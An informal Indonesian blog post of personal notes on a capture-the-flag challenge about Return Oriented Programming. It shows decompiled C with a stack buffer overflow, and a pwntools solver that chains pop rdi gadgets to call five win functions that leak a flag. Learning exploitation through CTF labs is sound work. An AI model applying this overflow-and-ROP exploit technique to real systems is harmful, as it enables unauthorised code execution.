Return Oriented Programming
Deskripsi
Blog gweh tentang Return Oriented Programming, ya notes aja sih, biar keliatan ngeprogress juga (padahal mah banyakan scroll reddit awokawokaowaow). Gak gak, pokoknya ada penelitian yang bilang kl nulis apa yang dipelajari itu bisa bikin materinya lebih nempel (ya walau gw di sekolah sama kuliah ga pernah nulis si). Tapi ya inilah gw, oiya kenapa jelek dan keliatan ga niat? Karena gw belajar buat menerima dan membersamai ketidaksempurnaan cuy, kalau apa apa harus sempurna nanti malah jadi perfeksionis dan progress lama dan muter muter doang, ya silahkan dinimati aja.
Intro POP Rdi
Berikut disassembly challenge funcnya :
int challenge()
{
char buf[44]; // [rsp+20h] [rbp-30h] BYREF
int v2; // [rsp+4Ch] [rbp-4h]
v2 = read(0, buf, 0x1000uLL);
return puts("Leaving!");
}
Dari func di atas, kita dapat info kalau buf[44]
itu punya panjang 0x30 + 8 atau 56 kalau dalam decimal. Nah buffernya kan 56 byte, tapi inputnya ngebaca sebanyak 0x1000 atau 4096 byte, jadi ini vuln BOF. Secara objektif, ini kayak ret2win (ada di blog sebelumnya) namun terdapat parameter tambahan.
Berikut win_stages_1 :
int __fastcall win_stage_1(int a1)
{
char buf[260]; // [rsp+10h] [rbp-110h] BYREF
int v3; // [rsp+114h] [rbp-Ch]
int v4; // [rsp+118h] [rbp-8h]
int fd; // [rsp+11Ch] [rbp-4h]
if ( a1 != 1 )
return puts("Error: Incorrect value!");
fd = open("/flag", 0);
v4 = (int)lseek(fd, 0LL, 2) / 5 + 1;
lseek(fd, 0LL, 0);
v3 = read(fd, buf, v4);
write(1, buf, v3);
return close(fd);
}
Berikut win_stages_1 :
int __fastcall win_stage_5(int a1)
{
char buf[260]; // [rsp+10h] [rbp-110h] BYREF
int v3; // [rsp+114h] [rbp-Ch]
int v4; // [rsp+118h] [rbp-8h]
int fd; // [rsp+11Ch] [rbp-4h]
if ( a1 != 5 )
return puts("Error: Incorrect value!");
fd = open("/flag", 0);
v4 = (int)lseek(fd, 0LL, 2) / 5 + 1;
lseek(fd, 4 * v4, 0);
v3 = read(fd, buf, v4);
write(1, buf, v3);
return close(fd);
}
Jadi chall ini kayak ret2win tadi, cuma bedanya di setiap win function ada validasi buat ngecek apakah win function dipanggil pake argumen sesuai angkanya apa ngga? apabila ngga maka mereturn error. Terus cara exploitnya gimana? Nah inilah ROP (Return Oriented Programming). Kan ada 5 function win tuh, yang mecah flagnya jadi 5 bagian. Dan kalau kita mau manggil func winnya, itu perlu pake argumen angka.
Kalau dalam bahasa assembly, kita itu ngeset dulu rdinya baru kita ngecall funcnya
mov rdi, 1
call win_stage_1
Solver :
from pwn import *
elf = context.binary = ELF('/chall')
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
payload = b"A" * (0x30 + 8)
for i in range(1, 6):
payload += p64(pop_rdi)
payload += p64(i)
payload += p64(elf.symbols[f'win_stage_{i}'])
p = process()
p.send(payload)
p.interactive()